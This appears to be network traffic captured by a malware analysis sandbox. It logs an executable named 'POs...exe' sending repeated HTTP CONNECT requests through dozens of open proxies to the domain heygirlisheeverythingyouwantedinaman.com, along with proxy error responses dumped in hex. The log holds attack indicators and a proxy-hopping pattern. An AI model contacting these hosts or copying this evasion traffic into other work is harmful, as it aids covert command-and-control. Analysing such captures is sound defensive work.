Mar 11, 2024 16:42:23.199719906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.11	53329	208.87.131.240	41368	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.225460052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.844980955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603400946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.887551069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.11	53265	98.162.25.23	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.246026993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.11	53319	162.223.94.166	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.254468918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.517292023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.11	53285	98.170.57.231	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.260046005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.11	53253	72.206.181.97	64943	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.264645100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.11	53233	5.135.83.214	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.273446083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.583698034 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.11	52551	216.10.242.18	15881	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.274003029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376283884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.11	53315	72.210.252.134	46164	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.276284933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.11	53228	5.10.249.159	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.279978037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.017894030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032795906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.11	53246	106.14.255.124	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.289087057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.11	53225	170.84.205.17	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.292885065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.11	53271	47.56.110.204	8989	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.300343990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.11	53357	104.27.12.22	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.301125050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.455374002 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.11	53211	46.209.54.110	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.301260948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.749663115 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:44:33.126478910 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 835 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.11	53234	62.33.207.202	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.305461884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.648668051 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 3209 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>: URL </title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area /#content {padding: 10px;background: #ffffff;}/ Gener
Mar 11, 2024 16:42:23.648688078 CET	1286	IN	Data Raw: 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 74 61 20 77 68 69 63 68 20 6d Data Ascii: al text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software /#sysmsg {}pre { font-family:sans-serif;}/
Mar 11, 2024 16:42:23.648732901 CET	809	IN	Data Raw: d0 ba d0 be d0 bb 3c 2f 62 3e 3c 2f 70 3e 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 20 20 3c 70 3e 53 71 75 69 64 20 d0 bd d0 b5 20 d0 bf d0 be d0 b4 d0 b4 d0 b5 d1 80 d0 b6 d0 b8 d0 b2 d0 b0 d0 b5 d1 82 20 d0 b2 d1 81 d0 b5 20 d0 bc d0 b5 d1 82 Data Ascii: </b></p> </blockquote> <p>Squid . , Gopher

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.11	53259	65.109.231.142	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.310817957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.017956018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032814026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.992029905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.830225945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.11	53409	72.167.222.113	12581	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.363291025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876226902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.487222910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689374924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.11	53300	213.252.245.221	6116	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.367901087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.095421076 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 